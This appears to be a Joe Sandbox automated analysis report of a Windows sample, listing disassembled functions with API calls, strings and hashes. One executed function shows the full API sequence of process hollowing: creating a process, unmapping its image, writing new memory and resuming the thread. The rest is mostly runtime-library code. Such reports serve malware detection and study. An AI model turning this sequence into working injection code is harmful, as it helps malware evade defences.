Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: n41dQbiw1Y.exePID: 7376, Parent PID: 7288COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	7

Executed Functions

Function 04360110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04360156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0436016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04360255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04360270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04360283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0436029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 043602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04360304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0436032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04360399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043603BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 043603E1
ResumeThread.KERNELBASE(00000000), ref: 043603ED
ExitProcess.KERNEL32(00000000), ref: 04360412

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: dae621f1d7f169c601c7eaee2a18d2a12d2989f4b8a2f5fd79dcc372cd42b3d3
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FBB1D874A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AD41CF94

Function 04360420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04360533

Strings

saodkfnosa9uin, xrefs: 043604DA
mfoaskdfnoa, xrefs: 04360520, 04360523
0, xrefs: 04360492
d, xrefs: 04360584

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d892ba4e9d8d5983d7787bbd9affdc349e338597cf2fb370519bb9064189c4a2
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: E6512A70D08389DAEB15CBD8C849BDDBFB66F11708F144058D5457F28AC3FA6658CB62

Function 0419705A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00000000,000D4E88,00348BFA,000D4E88,000D5786), ref: 041971C1

Strings

eHan, xrefs: 0419743C
dle, xrefs: 04197450

Memory Dump Source

Source File: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, Offset: 04197000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4197000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: dle$eHan
API String ID: 1029625771-3044052324
Opcode ID: b9f7d974a74ce055f9fd482e235c55423615e20cd86931f27d1073e24b7070bf
Instruction ID: 06c8aeaa24723a3bdb07a58b205dc469ead74f70c3c137a81bbce9b491794401
Opcode Fuzzy Hash: b9f7d974a74ce055f9fd482e235c55423615e20cd86931f27d1073e24b7070bf
Instruction Fuzzy Hash: 50D102B5A11248AFEB40CF9CE485A9CBFB4FF08329F244569F905EB781D370A990CB54

Function 043605B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 043605EC

Strings

o, xrefs: 04360600
apfHQ, xrefs: 043605E2, 043605E5

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 9a4e4c5bc6b47bc75657fd47bad4e0c12c0b5de580aaff13d362780a1e92b4e6
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 96012170C0424DEEDF15DB98C5193AEBFB5AF41308F1480D9C4593B242D7769B58CBA1

Function 041977C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 041977EE
Module32First.KERNEL32(00000000,00000224), ref: 0419780E

Memory Dump Source

Source File: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, Offset: 04197000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4197000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fa9640c7b00845b9e9b921bfca3007b750b6ef39698dbbea7b7a1b1211e45c80
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1CF06231210714EBDB213BB5A8CDAAA76E8AF49725F100568E652910C0DB70FC458661

Function 04197485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 041974D6

Memory Dump Source

Source File: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, Offset: 04197000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4197000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 75044c5654fd5528a984e656af8d42899af0e90043a4ecd29aafc7fcbb71da64
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CA113C79A00208EFDB41DF98C985E99BBF5AF08351F058094F9589B361D371EA90DF80

Non-executed Functions

Function 04386437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0438644E

Part of subcall function 04389636: __calloc_impl.LIBCMT ref: 04389645

__calloc_crt.LIBCMT ref: 04386472
_free.LIBCMT ref: 04386480
__calloc_crt.LIBCMT ref: 0438648E
_free.LIBCMT ref: 0438649E
_free.LIBCMT ref: 043864A4
__copytlocinfo_nolock.LIBCMT ref: 043864B3
__setmbcp_nolock.LIBCMT ref: 043864D4
_free.LIBCMT ref: 043864E2
___removelocaleref.LIBCMT ref: 043864E9
___freetlocinfo.LIBCMT ref: 043864F0
_free.LIBCMT ref: 043864F6

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 15a6cc574c709d65a325110d5ce504974146ec0a87f64ea8659b046a9fc49ded
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: A721C031204701EEFB227F65DC02E1FFBE8DF81769B60A42DF4855A8A0FA62B550DB51

Function 04383F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04383F51

Part of subcall function 04385BA8: __getptd_noexit.LIBCMT ref: 04385BA8

__gmtime64_s.LIBCMT ref: 04383FEA
__gmtime64_s.LIBCMT ref: 04384020
__gmtime64_s.LIBCMT ref: 0438403D
__allrem.LIBCMT ref: 04384093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 043840AF
__allrem.LIBCMT ref: 043840C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 043840E4
__allrem.LIBCMT ref: 043840FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04384119
__invoke_watson.LIBCMT ref: 0438418A

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 71df5e97995745af726644d26e1591581f6d1ece8a27041ae617e00b1770c673
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7A71B571A00717ABE714BE69CC41B6AF3F8AF60768F14522DE924D6A81F774FA4087D0

Function 0438650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04386547
__calloc_crt.LIBCMT ref: 04386598
__lock.LIBCMT ref: 043865AE
__copytlocinfo_nolock.LIBCMT ref: 043865BF
_wcscmp.LIBCMT ref: 043865F9
__lock.LIBCMT ref: 04386610
__updatetlocinfoEx_nolock.LIBCMT ref: 04386622
___removelocaleref.LIBCMT ref: 04386628
__updatetlocinfoEx_nolock.LIBCMT ref: 04386647

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: c385f3232cb4fad27d2039a2a7f63c6fefdf7e6120827b14aa682a8344b4503b
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 04412332904305EFFB00BFA4ED82B9EFBE5AF44318F20642DE90496191DB75B644DB11

Function 043884AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 043884B1
_free.LIBCMT ref: 043884E2
_free.LIBCMT ref: 043884F5
_free.LIBCMT ref: 04388513
_free.LIBCMT ref: 04388525
_free.LIBCMT ref: 04388536
_free.LIBCMT ref: 04388541
_free.LIBCMT ref: 04388565
_free.LIBCMT ref: 04388581
_free.LIBCMT ref: 04388597
_free.LIBCMT ref: 043885BF

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 2c83a5cd7ea538631172abc875fa74a03aef0cb51cfcc59ea75748c74a2a8331
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5331BF32900354DBDF25BF14FC8088AB7A4FF14324794A62EE904572A4CBF479CAAF94

Function 043AFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 043AFC1F

Part of subcall function 0439169C: std::exception::_Copy_str.LIBCMT ref: 043916B5

__CxxThrowException@8.LIBCMT ref: 043AFC34
std::exception::exception.LIBCMT ref: 043AFC4D
__CxxThrowException@8.LIBCMT ref: 043AFC62
std::regex_error::regex_error.LIBCPMT ref: 043AFC74

Part of subcall function 043AF914: std::exception::exception.LIBCMT ref: 043AF92E

__CxxThrowException@8.LIBCMT ref: 043AFC82
std::exception::exception.LIBCMT ref: 043AFC9B
__CxxThrowException@8.LIBCMT ref: 043AFCB0

Strings

leM, xrefs: 043AFCA8

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 6b143d2bacc40e715e94f401b173c2c69c293ae70f8444fb573ef7c7b1fd9151
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 2711BC79C0020DBBDF00FFA5D455CDDBBBCAE04244B408566AD14A7641EB74BB488B94

Function 0436F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0436F01F

Part of subcall function 04381602: __FF_MSGBANNER.LIBCMT ref: 04381619
Part of subcall function 04381602: __NMSG_WRITE.LIBCMT ref: 04381620

_malloc.LIBCMT ref: 0436F02B
_wprintf.LIBCMT ref: 0436F03E
_free.LIBCMT ref: 0436F044
_free.LIBCMT ref: 0436F065
_malloc.LIBCMT ref: 0436F06D
_sprintf.LIBCMT ref: 0436F0C0
_wprintf.LIBCMT ref: 0436F0D2
_wprintf.LIBCMT ref: 0436F0DC
_free.LIBCMT ref: 0436F0E5

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 4ea78dac7195713496237e057ba7b1ae44c4bde2cb651965ede6c1a9698c6529
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 191124B29006543AEA61B7B41C11EFFBAEC9F45306F0410ADFF8DE1180DA587A0597B1

Function 04371960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 043719C6
__CxxThrowException@8.LIBCMT ref: 043719F1
__CxxThrowException@8.LIBCMT ref: 04371A1A
__CxxThrowException@8.LIBCMT ref: 04371A4B
_memset.LIBCMT ref: 04371A6A
__CxxThrowException@8.LIBCMT ref: 04371A90
_malloc.LIBCMT ref: 04371AA0
_memset.LIBCMT ref: 04371AAB
_sprintf.LIBCMT ref: 04371ACE

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 1efbf557aba2e260e541d3e656c51241560d34311b95521be4caa12cb141d200
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: BD514A71D40209BAEF20EFA5DC86FAFBBB8FF04744F101125F905B6290E7746A058BA5

Function 0436F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0436F284
__CxxThrowException@8.LIBCMT ref: 0436F2AF
__CxxThrowException@8.LIBCMT ref: 0436F2DE
__CxxThrowException@8.LIBCMT ref: 0436F30F
_memset.LIBCMT ref: 0436F32E
__CxxThrowException@8.LIBCMT ref: 0436F354
_sprintf.LIBCMT ref: 0436F373

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6c5272c1e3b8380eed1c15ff1aaeafe4add0b755114fa1df11553e6a2ba443ba
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: C0512271D40209BAEF11DFA5DC46FEEBBB8EF04704F205129F906B6180E775BA058BA5

Function 0436F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0436F4B7
__CxxThrowException@8.LIBCMT ref: 0436F4E2
__CxxThrowException@8.LIBCMT ref: 0436F504
__CxxThrowException@8.LIBCMT ref: 0436F535
_memset.LIBCMT ref: 0436F554
__CxxThrowException@8.LIBCMT ref: 0436F57A
_sprintf.LIBCMT ref: 0436F594

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: b9da3ec664b49e99de9d88a4f1915fb847b663c0e275d617b79e25221ccd0a79
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 26515171D40209BAEF11DFA5DC46FEEBBB8EF04704F105129F906B6180E6747A058BA4

Function 043A208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 043A20C6
__invoke_watson.LIBCMT ref: 043A2120
_strlen.LIBCMT ref: 043A20D4

Part of subcall function 04385BA8: __getptd_noexit.LIBCMT ref: 04385BA8

_strnlen.LIBCMT ref: 043A215F
__lock.LIBCMT ref: 043A2170
__getenv_helper_nolock.LIBCMT ref: 043A217B

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 52dcdc2093ae021eceb0eb630a0cd6c2a8afe635fd07cbd35ba65ee41a81bb60
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 56314072A84311BBFB21BBA4DC0476FB798DF55B28F106499E914DB380EB74F41083A1

Function 04372670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 043726DB
_memset.LIBCMT ref: 04372A30
_memset.LIBCMT ref: 04372AC0

Strings

D, xrefs: 04372AC8

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 27138208d5cc5edd2711d1a0f889a23ed9d8b8da970e253f776d49fee8215c1e
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: BFE16C71D0021AABDF24DFA0DD89FEFBBB8BF04304F1450A9E549A6190EB786A45CF54

Function 0436D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0436D8EA

Strings

, xrefs: 0436DADB
$, xrefs: 0436DAE2
(, xrefs: 0436DAE9

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: a72952d9dc366d4021498d219852625d2a63da7a9ec8a9a0b0a45bb666e442be
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1991C171E00259EAEF20DFA0CC55BEEBBB8AF05304F149158D406772C5D7B66A48CF55

Function 0437A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0437A858
_memset.LIBCMT ref: 0437A869
_memset.LIBCMT ref: 0437A87A

Strings

p2Q, xrefs: 0437A882

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 31a66eeb15f0eae0d5de82fd017d76ec21a330063d1f0bf72ccbc097af31e997
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: D6F0C968698791B5F7217B50BC26B85BE916F31B08F105088E1182A3F1D2F9338CA79A

Function 043AFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 043AFBF1

Part of subcall function 0439169C: std::exception::_Copy_str.LIBCMT ref: 043916B5

__CxxThrowException@8.LIBCMT ref: 043AFC06

Strings

TeM, xrefs: 043AFBFB, 043AFBE7
TeM, xrefs: 043AFBFE

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 3f1508107955fb303ca6c565e1b14f4d5df0b34faa2ac29f23321cbcd4c975fc
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 01D06775C0020DBBEF00EFA5D459CDDBBB8AE04348B008466AD14A7241EA74AB498B94

Function 0436D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0438197D: __wfsopen.LIBCMT ref: 04381988

_fgetws.LIBCMT ref: 0436D15C

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
